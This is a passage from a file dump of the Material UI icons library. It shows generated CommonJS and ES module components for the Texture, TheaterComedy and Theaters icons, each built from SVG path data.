    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.58 3.08 3.15 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L21 4.49c-.19-.69-.73-1.23-1.42-1.41M11.95 3l-8.88 8.88v2.83L14.78 3zM5.07 3c-1.1 0-2 .9-2 2v2l4-4zm14 18c.55 0 1.05-.22 1.41-.59.37-.36.59-.86.59-1.41v-2l-4 4zm-9.71 0h2.83l8.88-8.88V9.29z\"\n}), 'TextureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.58 3.08 3.15 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L21 4.49c-.19-.69-.73-1.23-1.42-1.41M11.95 3l-8.88 8.88v2.83L14.78 3zM5.07 3c-1.1 0-2 .9-2 2v2l4-4zm14 18c.55 0 1.05-.22 1.41-.59.37-.36.59-.86.59-1.41v-2l-4 4zm-9.71 0h2.83l8.88-8.88V9.29z\"\n}), 'TextureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.66 3 3.07 19.59V21h1.41L21.07 4.42V3zm-7.71 0-8.88 8.88v2.83L14.78 3zM3.07 3v4l4-4zm18 18v-4l-4 4zm-8.88 0 8.88-8.88V9.29L9.36 21z\"\n}), 'TextureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.66 3 3.07 19.59V21h1.41L21.07 4.42V3zm-7.71 0-8.88 8.88v2.83L14.78 3zM3.07 3v4l4-4zm18 18v-4l-4 4zm-8.88 0 8.88-8.88V9.29L9.36 21z\"\n}), 'TextureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.88 3 3 11.88v2.83L14.71 3zM3 5v2l4-4H5c-1.1 0-2 .9-2 2m16.51-1.92L3.08 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L20.93 4.49c-.19-.69-.73-1.23-1.42-1.41M21 9.29 9.29 21h2.83L21 12.12zm-.59 11.12c.37-.36.59-.86.59-1.41v-2l-4 4h2c.55 0 1.05-.22 1.41-.59\"\n}), 'TextureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.88 3 3 11.88v2.83L14.71 3zM3 5v2l4-4H5c-1.1 0-2 .9-2 2m16.51-1.92L3.08 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L20.93 4.49c-.19-.69-.73-1.23-1.42-1.41M21 9.29 9.29 21h2.83L21 12.12zm-.59 11.12c.37-.36.59-.86.59-1.41v-2l-4 4h2c.55 0 1.05-.22 1.41-.59\"\n}), 'TextureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16.5C2 19.54 4.46 22 7.5 22s5.5-2.46 5.5-5.5V10H2zm5.5 2C6.12 18.5 5 17.83 5 17h5c0 .83-1.12 1.5-2.5 1.5M10 13c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-5 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3v6h3v2.5c0-.83 1.12-1.5 2.5-1.5s2.5.67 2.5 1.5h-5v2.89c.75.38 1.6.61 2.5.61 3.04 0 5.5-2.46 5.5-5.5V3zm3 5.08c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1c0 .56-.45 1-1 1m5 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1c0 .56-.45 1-1 1\"\n}, \"1\")], 'TheaterComedy');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16.5C2 19.54 4.46 22 7.5 22s5.5-2.46 5.5-5.5V10H2zm5.5 2C6.12 18.5 5 17.83 5 17h5c0 .83-1.12 1.5-2.5 1.5M10 13c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-5 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3v6h3v2.5c0-.83 1.12-1.5 2.5-1.5s2.5.67 2.5 1.5h-5v2.89c.75.38 1.6.61 2.5.61 3.04 0 5.5-2.46 5.5-5.5V3zm3 5.08c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1c0 .56-.45 1-1 1m5 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1c0 .56-.45 1-1 1\"\n}, \"1\")], 'TheaterComedy');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.99 9c-1.38 0-2.5.84-2.5 1.88h5c0-1.04-1.12-1.88-2.5-1.88M1 16c0 3.31 2.69 6 6 6s6-2.69 6-6V9H1zm2-5h8v5c0 2.21-1.79 4-4 4s-4-1.79-4-4z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2v5.5h2V4h8v5c0 2.21-1.79 4-4 4-.95 0-1.81-.35-2.5-.9v2.35c.76.35 1.61.55 2.5.55 3.31 0 6-2.69 6-6V2z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17.88c1.38 0 2.5-.84 2.5-1.88h-5c0 1.04 1.12 1.88 2.5 1.88\"\n}, \"6\")], 'TheaterComedyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.99 9c-1.38 0-2.5.84-2.5 1.88h5c0-1.04-1.12-1.88-2.5-1.88M1 16c0 3.31 2.69 6 6 6s6-2.69 6-6V9H1zm2-5h8v5c0 2.21-1.79 4-4 4s-4-1.79-4-4z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2v5.5h2V4h8v5c0 2.21-1.79 4-4 4-.95 0-1.81-.35-2.5-.9v2.35c.76.35 1.61.55 2.5.55 3.31 0 6-2.69 6-6V2z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"5\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17.88c1.38 0 2.5-.84 2.5-1.88h-5c0 1.04 1.12 1.88 2.5 1.88\"\n}, \"6\")], 'TheaterComedyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2h-8c-1.1 0-2 .9-2 2v3.5h1.5c1.1 0 2 .9 2 2v4.95c1.04.48 2.24.68 3.5.47 2.93-.49 5-3.17 5-6.14V4c0-1.1-.9-2-2-2m-7 4.5c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m4.85 4.38h-3.72c-.38 0-.63-.41-.44-.75.39-.66 1.27-1.13 2.3-1.13s1.91.47 2.3 1.14c.19.33-.06.74-.44.74M19 7.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9H3c-1.1 0-2 .9-2 2v4.79c0 3.05 2.19 5.77 5.21 6.16C9.87 22.42 13 19.57 13 16v-5c0-1.1-.9-2-2-2m-7 4.5c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m5.3 3.25c-.38.67-1.27 1.14-2.3 1.14s-1.91-.47-2.3-1.14c-.19-.34.06-.75.44-.75h3.72c.38 0 .63.41.44.75M9 14.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'TheaterComedyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2h-8c-1.1 0-2 .9-2 2v3.5h1.5c1.1 0 2 .9 2 2v4.95c1.04.48 2.24.68 3.5.47 2.93-.49 5-3.17 5-6.14V4c0-1.1-.9-2-2-2m-7 4.5c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m4.85 4.38h-3.72c-.38 0-.63-.41-.44-.75.39-.66 1.27-1.13 2.3-1.13s1.91.47 2.3 1.14c.19.33-.06.74-.44.74M19 7.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9H3c-1.1 0-2 .9-2 2v4.79c0 3.05 2.19 5.77 5.21 6.16C9.87 22.42 13 19.57 13 16v-5c0-1.1-.9-2-2-2m-7 4.5c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m5.3 3.25c-.38.67-1.27 1.14-2.3 1.14s-1.91-.47-2.3-1.14c-.19-.34.06-.75.44-.75h3.72c.38 0 .63.41.44.75M9 14.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'TheaterComedyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2v5.5h3.5v3.31C14.55 9.8 15.64 9 16.99 9c1.38 0 2.5.84 2.5 1.88H14.5v3.56c.76.36 1.61.56 2.5.56 3.31 0 6-2.69 6-6V2zm4 5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 16c0 3.31 2.69 6 6 6s6-2.69 6-6V9H1zm6 1.88c-1.38 0-2.5-.84-2.5-1.88h5c0 1.04-1.12 1.88-2.5 1.88m2-5.38c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-4 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'TheaterComedySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2v5.5h3.5v3.31C14.55 9.8 15.64 9 16.99 9c1.38 0 2.5.84 2.5 1.88H14.5v3.56c.76.36 1.61.56 2.5.56 3.31 0 6-2.69 6-6V2zm4 5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 16c0 3.31 2.69 6 6 6s6-2.69 6-6V9H1zm6 1.88c-1.38 0-2.5-.84-2.5-1.88h5c0 1.04-1.12 1.88-2.5 1.88m2-5.38c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-4 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\")], 'TheaterComedySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.81C14.55 9.8 15.64 9 16.99 9c1.38 0 2.5.84 2.5 1.88H14.5v1.22c.69.55 1.55.9 2.5.9 2.21 0 4-1.79 4-4V4h-8v3.5h1.5zM19 5.5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-5 1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 2v5.5h2V4h8v5c0 2.21-1.79 4-4 4-.95 0-1.81-.35-2.5-.9v2.35c.76.35 1.61.55 2.5.55 3.31 0 6-2.69 6-6V2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.99 9c-1.35 0-2.44.8-2.49 1.81v.07h4.99c0-1.04-1.12-1.88-2.5-1.88M1 16c0 3.31 2.69 6 6 6s6-2.69 6-6V9H1zm2-5h8v5c0 2.21-1.79 4-4 4s-4-1.79-4-4z\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20c2.21 0 4-1.79 4-4v-5H3v5c0 2.21 1.79 4 4 4m0-2.12c-1.38 0-2.5-.84-2.5-1.88h5c0 1.04-1.12 1.88-2.5 1.88m2-5.38c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-4 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17.88c1.38 0 2.5-.84 2.5-1.88h-5c0 1.04 1.12 1.88 2.5 1.88\"\n}, \"8\")], 'TheaterComedyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheaterComedyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.81C14.55 9.8 15.64 9 16.99 9c1.38 0 2.5.84 2.5 1.88H14.5v1.22c.69.55 1.55.9 2.5.9 2.21 0 4-1.79 4-4V4h-8v3.5h1.5zM19 5.5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-5 1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 2v5.5h2V4h8v5c0 2.21-1.79 4-4 4-.95 0-1.81-.35-2.5-.9v2.35c.76.35 1.61.55 2.5.55 3.31 0 6-2.69 6-6V2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.99 9c-1.35 0-2.44.8-2.49 1.81v.07h4.99c0-1.04-1.12-1.88-2.5-1.88M1 16c0 3.31 2.69 6 6 6s6-2.69 6-6V9H1zm2-5h8v5c0 2.21-1.79 4-4 4s-4-1.79-4-4z\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20c2.21 0 4-1.79 4-4v-5H3v5c0 2.21 1.79 4 4 4m0-2.12c-1.38 0-2.5-.84-2.5-1.88h5c0 1.04-1.12 1.88-2.5 1.88m2-5.38c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-4 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13.5\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17.88c1.38 0 2.5-.84 2.5-1.88h-5c0 1.04 1.12 1.88 2.5 1.88\"\n}, \"8\")], 'TheaterComedyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Theaters.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'Theaters');"
  },
  {
    "path": "packages/mui-icons-material/lib/Theaters.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'Theaters');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm6 10h-4V5h4zm4-2h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'TheatersOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm6 10h-4V5h4zm4-2h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'TheatersOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v1h-2V4c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v1H6V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1M8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'TheatersRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v1h-2V4c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v1H6V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1M8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'TheatersRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'TheatersSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'TheatersSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm6 10h-4V5h4zm4-2h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5h4v14h-4z\",\n  opacity: \".3\"\n}, \"1\")], 'TheatersTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TheatersTwoTone.mjs",
